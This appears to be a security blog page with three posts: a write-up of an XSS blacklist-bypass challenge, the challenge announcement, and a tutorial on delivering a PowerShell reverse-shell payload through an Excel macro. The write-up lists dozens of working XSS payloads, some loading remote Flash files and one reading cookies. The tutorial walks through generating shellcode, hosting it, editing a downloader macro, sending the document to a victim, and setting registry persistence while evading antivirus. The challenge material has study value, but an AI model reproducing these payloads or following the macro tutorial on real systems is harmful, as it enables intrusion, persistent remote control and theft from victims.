Thursday, January 23, 2014

Rhainfosec XSS Challenge 1 - Writeup



Update - The challenge is still up on hack.me - https://hack.me/101575/bypass-blacklist-based-waf-challenge.html

On 7th January 2014, we announced an XSS challenge for the whole infosec community, the challenge was based upon blacklist based protection and the task was to bypass the blacklist based protection and to execute the javascript. Based upon unique IP addresses we had 1740 participants and more then 80k unique vectors were recorded into our log file which is a tremendous turn out, the size of the log file was around 4.4 mb, which is pretty huge. Out of 1740 participants only 17 were able to solve it, which is less then 1% (0.97 to be exact).

Challenge Setup

To make your lives a bit harder, we induced certain amount of difficulties. Here is an overview of what we had done:

  • We blacklisted alert, prompt, confirm, document.write functions which are most commonly used to execute javascript. 
  • We blacklisted open & closed parenthesis, which is what most of the XSS vectors require. 
  • We blacklisted most commonly used event handlers such as onclick, onfocus etc
  • We blacklisted the closing bracket ">". 
  • We blacklisted most of the attributes used to execute javascript such as src, formaction, action etc. 
  • We blacklisted "+" sign, which otherwise would had been used to concatenate javascript strings, however we did leave a room for it. (More on it later). 
  • The winners for the challenge would be decided on the basis of the shortest vector by length. 

Hints

The two of most important hints we gave was as follows:
  • Look at alternative javascript execution possibilities. 
  • The solution for the challenge was already given inside my "XSS filter evasion cheat sheet", however you would need tweak the payload. (Obviously, there was not point to the challenge, if the solution was already there).

Partial Bypass - Solution

As it was mentioned in one of the hints that you would need to look at alternative javascript execution possibilities. Almost all attributes were being filtered except the "code" and "data" attribute. The "code" attribute can be used along with the "embed" element and the "data" attribute can be object element to execute the javascript. 

Vector #1 

Several instances of the "Object" element were being filtered, however it wasn't difficult for some one to figure it out. The "data" attribute was being filtered out too, however case-sensitive based escaping was not being done. Therefore the final vector would be: 

<OBJECt/DATA=//0x.lv/xss.swf??


Vector #2

A more easier partial solution would be to use "embed" element with "code" attribute: 

<embed/code=//0x.lv/xss.swf??

The reason, why i have coined the solutions as "Partial solution" is because of the fact that the javascript does not executes under the context of the main domain, "rafay.prakharprasad.com", for it to be termed as a full solution, the javascript must be executed under the context of the challenge domain. 

The following people who came up with partial bypass:

@yappare

http://rafay.prakharprasad.com/?search=<Object/Data=//goo.gl/nlX0P?

@sasilevi

http://rafay.prakharprasad.com/?search=<Object/Data=//goo.gl/nlX0P?

@irsdl 

http://rafay.prakharprasad.com/?search=<objecT/Data=//0x.lv/xss.swf?

@soaj1664ashar

http://rafay.prakharprasad.com/?search=<embed/code=//goo.gl/nlX0P?

@insertscript

http://rafay.prakharprasad.com/?search=%3CObjEct%2FdaTA=//dl.dropboxusercontent.com/u/13018058/ttt.htm?


@TurbanatorSJS

http://rafay.prakharprasad.com/?search=<embed/code=//jsfiddle.net/ETCMn?

Full Bypass - Solution

Let's first take a look at our solution and then take a look at amazing solutions from the community, we used window.open() function to set the name property to "javascript:alert(1)", we used string concatenation to join the "l" and "ocation" together, the "+" sign was being filtered out, however the encoded version of "+" was not being filtered out which is equivalent to "%2b".

Browsers: IE and Firefox
<html><script> window.open('//rafay.prakharprasad.com/?search=%3Cbody/onload=this[/l/.source%2b/ocation/.source]=name//',"javascript:alert(1)"); </script></html>
Let's now try the tremendous solutions we received from the community:

1)@skeptic_fx

Ahamed Nafeez was the first to solve the challenge by our expected method, The following solution works in Firefox w/o user interaction.

Length: 58 characters

POC #1
<html>
<script>
var a = window.open('http://rafay.prakharprasad.com/?search=<marquee/onstart=this[/innerHTM/.source%2Bname[0]]=name;//',
  'L<img src=x onerror=alert(document.domain)>');
</script>
</html>

Later, he made it work inside both Internet explorer and Firefox:

Length: 121 characters

POC #2
http://rafay.prakharprasad.com/?search=<marquee/onstart=this[/innerHTM/.source%2B/L/.source]=window[/locatio/.source%2B/n/.source][/has/.source%2B/h/.source];//#<img src=x onerror=alert(document.domain)>

2)@fransrosen

Frans rosen came up with a very sophisticated bypass, The vector could had been shortened a lot though, but he decided not to do it, even though he could had. He used parentNode to walk to up the document, however all of these parentNodes could had been replaced with "top" or "self" and the POC still had worked, however this turns out to be a great technique in a case top and self keywords have been blacklisted.

Length: 366 Characters

POC
http://rafay.prakharprasad.com/?search=%3Csvg/onload=g=parentNode.parentNode.parentNode.parentNode.parentNode.parentNode;h=g[/loc/.source%2b/ation/.source]; g[/loc/.source%2b/ation/.source]=/javascrip/.source%2b/t/.source%2bh[/has/.source%2b/h/.source][1]%2b/aler/.source%2b/t/.source%2bh[/has/.source%2b/h/.source][2]%2b/documen/.source%2b/t./.source%2b/domain/.source%2bh[/has/.source%2b/h/.source][3]%0c#:%28%29

3)@insertscript

Alex, next came up with a nice and clean cross-browser bypass:

Length: 53 characters

POC
<div
onclick=window.open('http://rafay.prakharprasad.com/?search=<svg/onload=top[/locatio/.source%2b/n/.source]=name//',"javascript:alert(1)");>click</div>

4)@hasegawayosuke

Hasegawa next came up with an amazingly short IE9 specific bypass using "onactivate" event handler, which only works with
internet explorer.

Length: 27 Characters

POC
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<a href="http://rafay.prakharprasad.com/?search=<body/onactivate=URL=name//" target="javascript:alert(location.href)">Click Here</a>
</body>
</html>

5)@avlidienbrunn

Mathias came up with several different solutions namely a universal solution that would work on all browsers and a chrome specific bypass with shortened length.

Length: 97 characters

POC
<script>window.open("http://rafay.prakharprasad.com/?search=<svg/onload=c=/locatio/+/n/;c=c[1]+c[2]+c[3]+c[4]+c[5]+c[6]+c[7]+c[10];window[c]=window.name%2509", "javascript:alert(1)");</script>

Along with his solution, he was kind enough to send an explanation on how it worked:

This solution relies upon setting the window.location property to a javascript URI. We can do this by accessing the property using the syntax with a string within brackets instead of the regular way (window["location"] versus window.location). Since a lot of strings were filtered (such as "alert" and "location"), we can use the same window.name trick to go transfer a string to the page. In the example I passed "javascript:alert(1)".

Sadly, only one string can be passed with that trick and as for the other string ("location"), I forged it by building a desired string out of another, character by character. But to do that I needed a string in the first place, so I used regex and addition to cast it into a string. /locatio/+/n/ becomes "/locatio//n/". From there we can just pick character by character and glue it together to make "location".

In the end we set window[string_from_regexes]=string_from_window_name, which becomes window["location"]="javascript:alert(1)", executing the alert.

Later, he came up with a chrome specific bypass of only 32 characters in length:

Length: 32 Characters

POC
data:text/html,<meta name="referrer" content="always"><img src=x onerror="if(/^data/.test(location.href)){window.name='innerHTML';location='http://rafay.prakharprasad.com/?search=%3Csvg/onload=body[name]=referrer%2509'}else{alert(1)}">

6)@yujikosuga

Yuji arrived in a bit late inside the challenge, but still managed to solve it in a decent amount of time.

Length: 57 characters
<svg onload="name='javascript:alert(1)',location='//rafay.prakharprasad.com/?search=%3Cbody/onload=this[/l/.source%2b/ocation/.source]=name//'">

7)@philroberts & @adam_baldwin


Phil roberts next, came up with a huge and the most longest solution in terms of length.

Length: 527 characters

POC #1
http://rafay.prakharprasad.com/?search=%3Csvg/onload=z=[]%2batob;l=z[13];r=z[14];s=z[8];a=[]%2b/tnemucod/;a=a[8]%2ba[7]%2ba[6]%2ba[5]%2ba[4]%2ba[3]%2ba[2]%2ba[1];b=[]%2b/LMTHrenni/;b=b[9]%2bb[8]%2bb[7]%2bb[6]%2bb[5]%2bb[4]%2bb[3]%2bb[2]%2bb[1];c=[]%2b/Fa=crsFgmi%3C/;c=c[11]%2bc[10]%2bc[9]%2bc[8]%2bs%2bc[6]%2bc[5]%2bc[4]%2bc[3]%2bc[2]%2bs;d=[]%2b/X1Ztrela=rorreno/;d=d[16]%2bd[15]%2bd[14]%2bd[13]%2bd[12]%2bd[11] %2bd[10]%2bd[9]%2bd[8]%2bd[7]%2bd[6]%2bd[5]%2bd[4]%2bl%2bd[2]%2br;window[a].body[b]=c%2bd%2bwindow[a].body[b][8]//
Update: Philip has written an explanation for his huge solution here - https://gist.github.com/latentflip/8580688

Later, he managed to shorten it upto 97 characters:

Length: 97 Characters

POC #2
<svg/onload=a=[]%2b/trela/;a=a[5]%2ba[4]%2ba[3]%2ba[2]%2ba[1];window.onerror=window[a];throw/1///

8)@mramydnei

Length: 140 characters

POC
http://rafay.prakharprasad.com/?search=%3Csvg/onload=a=[]%2b/trela/;a=a[5]%2ba[4]%2ba[3]%2ba[2]%2ba[1];window.onerror=window[a];throw/1///

9)@kinugawamasato

King Masato surprised me with his amazing solutions, he first came up with a very sophisticated bypass and then managed to shorten the vectors up to 25 characters. How awesome is that!

Length: 28 characters

POC #1
<script>
window.name="innerHTML";
  location.href="http://rafay.prakharprasad.com/?search=<svg/onload=body[name]=URL%0d#</svg><img src=x onerror=alert(1)>"
</script>
The above vector would work upon both IE and chrome browsers, it won't work on firefox because of the fact that firefox encodes certain characters after the hash. The technique is very useful for bypassing server side filters as payload sent after the hash is not sent to the server and hence our WAF was not able to detect the payload and there managed to bypass.

Later masato came up with an amazing chrome specific solution:

Length: 25 characters

POC #2
<script>
document.domain='com';
function go(){
w=window.open("http://rafay.prakharprasad.com/?search=<svg/onload=domain=name//","com");
var s=setInterval(function(){
if(w.document.domain=='com'){
w.alert(1);
clearInterval(s);
     }
},100)
}
</script>
<button onclick=go()>go</button>

10) @dnkolegov

Denis, came up with three different solutions and in the end managed to shorten it upto 77 characters.

Length: 77 characters

POC:

http://rafay.prakharprasad.com/?search=<svg/onload=t=/aler/.source%2b/t/.source;window.onerror=window[t];throw%2b1//

11) @0x6D6172696F

Dr Mario Heidrech also came up with a superb bypass using Vbscript, The current solution works upto IE 10. He was also able to solve the challenge inside of IE 11 by getting IE 11 to load up the page inside the document mode, however the solution cannot be disclosed yet as it's pending a fix.

Length: 34 characters

POC
<svg/language=vbs onload=msgbox-1

12)Garrett Calpouzos

Garrett utilized the throw technique to solve the challenge, which was one of the hints which we i had given before. 

Length: 130 characters
<body/onload=a=/aler/.source;b=/t/.source;onerror=window[a%2bb];throw[base.parentNode.parentNode.parentNode.parentNode.domain];%09

13)@soaj1664ashar

Ashar javed came up with several partial bypasses and a full bypass:

Length: 71 characters

POC
<body/onload=id=/al/.source%2b/ert/.source;onerror=this[id];throw%2b1//

14)@netfuzzer

Mario gomes came up with several valid solutions and finally managed to settle it without user interaction with a 63 character payload.

Length: 63 characters
data:text/html,<script>window.name="javascript:alert(/XSSED/.source);";location="http://rafay.prakharprasad.com/?search=<svg/onload=window[/locatio/.source%252b/n/.source]=window.name//"</script>

15) @shafigullin

Shafigullin, as always came up with a very cool solution. He took the "l" character from the URL[61] and then concatinated the "l" to "ocation" from the ID attribute. A very neat trick to get things done.

Length: 50 characters

POC
http://xss-shafigullin-pro.appspot.com/reflector?protection=0&content=%3Cscript%3Ename=%27javascript:alert(1)%27;location=%27http://rafay.prakharprasad.com/?search=%3Csvg/id=ocation%2509onload=top[URL[61]%252bid]=name%2509%27%3C/script%3E
The following is the payload that would be sent to the server:
<svg/id=ocation%09onload=top[URL[61]%2bid]=name%09

16)@cgvwzq

Pepevila also came up with an exceptional solution. In short, he stores "source" inside of the s variable and  location inside the $ variable and top.location inside  _ to shorten his vector. He then applies it to top[$] which is equivalent to (top["location"]), then he uses _.hash[1] to extract the ":" after the hash and finally extracts "-alert(1)" from location.pathname.

Length: 153 Characters

POC
http://rafay.prakharprasad.com/1/-alert%281%29?search=%3Csvg/onload=s=/source/.source;$=/locatio/[s]%2B/n/[s];_=top[$];top[$]=/javascrip/[s]%2B/t/[s]%2B_[/has/[s]%2B/h/[s]][1]%2B_.pathname//#:

- http://bit.ly/1dgBYJT

17)@irsdl

Soroush was one the first to come up with a partial bypass, however later he surprised me by being able to execute javascript under the context of the challenge domain by loading an external flash file. He basically managed to bypass Flash sandbox security inside Firefox (and later all browsers) by using JAR protocol and NavigateToURL.

Length: 24 characters

POC #1

http://rafay.prakharprasad.com/?search=<Object/Data=//0me.me/r

Along with it, he also sent an explanation on how he was able to bypass the flash sandbox security inside of firefox first and then for all browsers.

Source Code of the Flash File:

navigateToURL(new URLRequest("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);"),"testme");

1- target page name has been set to "testme" as "", "_self", "_top", and "_parent" are not allowed when we do not have (allowScriptAccess="always") in Object tag in HTML. it causes Security sandbox violation. Therefore, I have chosen a name for my target page ("testme").

2- We cannot use Javascript: protocol in NavigateToURL as it raises another Security sandbox violation without having proper allowScriptAccess. However, if I use JAR: protocol, this will will be bypassed (http://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-part-2-navigatetourl-and-jar-protocol/).

3- Now I just need to open this Javascript protocol with Jar protocol in a blank page that inherits its opener. However, this method does not work in IE and Google Chrome very well as they do not popup a new window easily! We can still exploit this if our current window name is "testme" as it does not need to open a new window! as Iframe is blocked, we can use an A tag with target to "testme" which embeds the attacker's flash file! attacker's flash file will open a Javascript in "testme" (the same) window.

Obviously the solution can still be shortened by using a more smaller domain.

POC# 2 

Length: 22 characters

Apart from firefox, Soroush also managed to bypass flash based sandbox protection inside of all the browsers and came up with an amazing 22 characters.

Solution

<a href="http://rafay.prakharprasad.com/?search=<Object/Data=//0me.me/" target="testme"> Click Here</a>

http://jsfiddle.net/P9trW/
http://jsfiddle.net/P9trW/1

Note: The bypasses have been patched by Flash security team as per now

Winners

The winners are obviously transparent from above solutions, the winners were determined based upon the length of the vector.

1) Soroush Dallili (22 Characters) // Cross Browser Bypass
2) Masato Kinugawa (25 Characters) // Chrome Specific Bypass
3) Yosuka Hasegawa (27 Characters) // Internet Explorer Specific Bypass

Conclusion

The challenge was based upon strict black list based filtering, however the bypasses prove that blacklist based filters shall not be relied as your only defense mechanisms.

In case, if i have missed any of your submission, please let me know, I'll update the challenge. I would like to sincerely thank "Frans Rosen", "Mathias" and "Prakhar Prasad" and "Alex Infuhr" for helping me analyzing the solutions and with other aspects of the challenge. I hope you had fun in doing the challenge and hopefully learned some thing new, just like us by analyzing your solutions.

I would love to hear your feedback! Pass your comments. 

Tuesday, January 7, 2014

RHAinfoSec XSS Challenge - 1



Welcome readers,

This turns out to be the first post of the Year 2014, I would like to start this post by wishing you a very happy new year, sorry for the delay as i was extremely occupied with my final examinations. And as they are over by now, i would like to start this year by putting up a small challenge for my readers. 

Recently, we had released our "XSS Filter Evasion Cheat Sheet", i was extremely overwhelmed with the response of the readers, the downloads have surpassed an amazing figure of 4500+ and more are coming every day. Therefore, i thought to put up a challenge, which would force you to use the techniques you would had learned from the cheat sheet and put you to the test. 

The challenge is based upon a WAF (Web Application Firewall) we encountered recently while pentesting a website, as it's against our policies and TOS to disclose the website which we were up against, however i was able to reverse engineer the rules and therefore managed to create my own filter simulating the rules of the one which we were up against.

Challenge Link

Special thanks to Mr prasad, for deploying the challenge upon his server. 

Challenge Goals

  • The challenge goal is to execute the javascript.
  • Your payload must render javascript inside any modern browser. 
  • The XSS protection header has been set to 0, which would turn off your client side XSS filter. 

Tips

  • If all you can do is "><img src=x onerror=prompt(1);>, then this challenge is not for you. 
  • The WAF can be very hard, if you don't know how to properly reverse engineer filter rules. 
  • The solution for the challenge has already been given inside my "XSS Filter evasion Cheat sheet", However you would need to tweak the payload.
  • Your scanners won't help here, so don't waste your time with them. 

Submissions

Sumbit your vector to rafayhackingarticles@gmail.com or prakhar@prakharprasad.com, once you have cracked this challenge.

Monday, January 6, 2014

Deliver powershell payload using macro.

In past we saw method of direct shell code execution in Ms word or Excel using macro;but if document is closed then we will lose our shell so we have to migrate to other process and sometimes migration is pick up by AV. So in this tutorial we are going to use powershell payload.

Advantages of this method:-


(1)Persistence
(2)Migration is not needed
(3)AV bypass

(1)First we will generate powershell payload; for this purpose i used SET.You can also used Veil or powersploit.Open SET in terminal & select Social-Engineering Attacks and then Powershell Attack Vectors.Generate Powershell Alphanumeric Shellcode Injector.Fill LHOST & LPORT value.

SET-powershell-payload

Our generated powershell payload is located into /root/.set/reports/powershell/. Rename x86_powershell_injection.txt to x32.ps1.

(2)Now Clone git repository of code

root@bt:~# git clone https://github.com/enigma0x3/Old-Powershell-payload-Excel-Delivery
root@bt:~# cd Powershell-payload-Excel-Delivery/

(3)In Powershell-payload-Excel-Delivery folder; rename RemovePayload.bat to remove.bat. Now you have to host remove.bat and x32.ps1 to web-server.Then open persist.vbs file and change URL of x32.ps1 in line 13,33 to your hosted x32.ps1 `s URL. And now also host persist.vbs to web-server. I used localhost.

hosted-payload

(4)Open Macrocode file from cloned folder & change URL in line 27,82,118 respectively to your hosted x32.ps1,persist.vbs and remove.bat `s URL.Now add this macro code into excel document as mentioned in previous tutorial.

(5)And last step is setup listener.

metasploit-listener

Now send this document to victim , as soon as he open document and run macro we will get shell. Once the payload is ran, it runs in the powershell process, so if the user closes excel, you keep your shell. You also remain in a stable process until reboot, so migration is not needed.

powershell-process

It then pulls down a persistence script, drops it, creates a registry key for autorun for the persistence script. Once done, it also drops a self-deleting bat file that removes the initial payload from the system.

persist using regestiry

Thanks to  enigma0x3 for this awesome method.

Update :- New-Powershell-Payload-Excel-Delivery

This is a VBA macro that uses Matt Graeber's Invoke-Shellcode to execute a powershell payload in memory as well as schedule a task for persistence(20 min onidle  you get shell).
root@bt:~# git clone https://github.com/enigma0x3/Powershell-Payload-Excel-Delivery.git
root@bt:~# cd Powershell-Payload-Excel-Delivery/

Open MacroCode file & change Download URL for Invoke-Shellcode file & change LHOST & LPORT option. Now add macro-code in Excel file & start-up listener.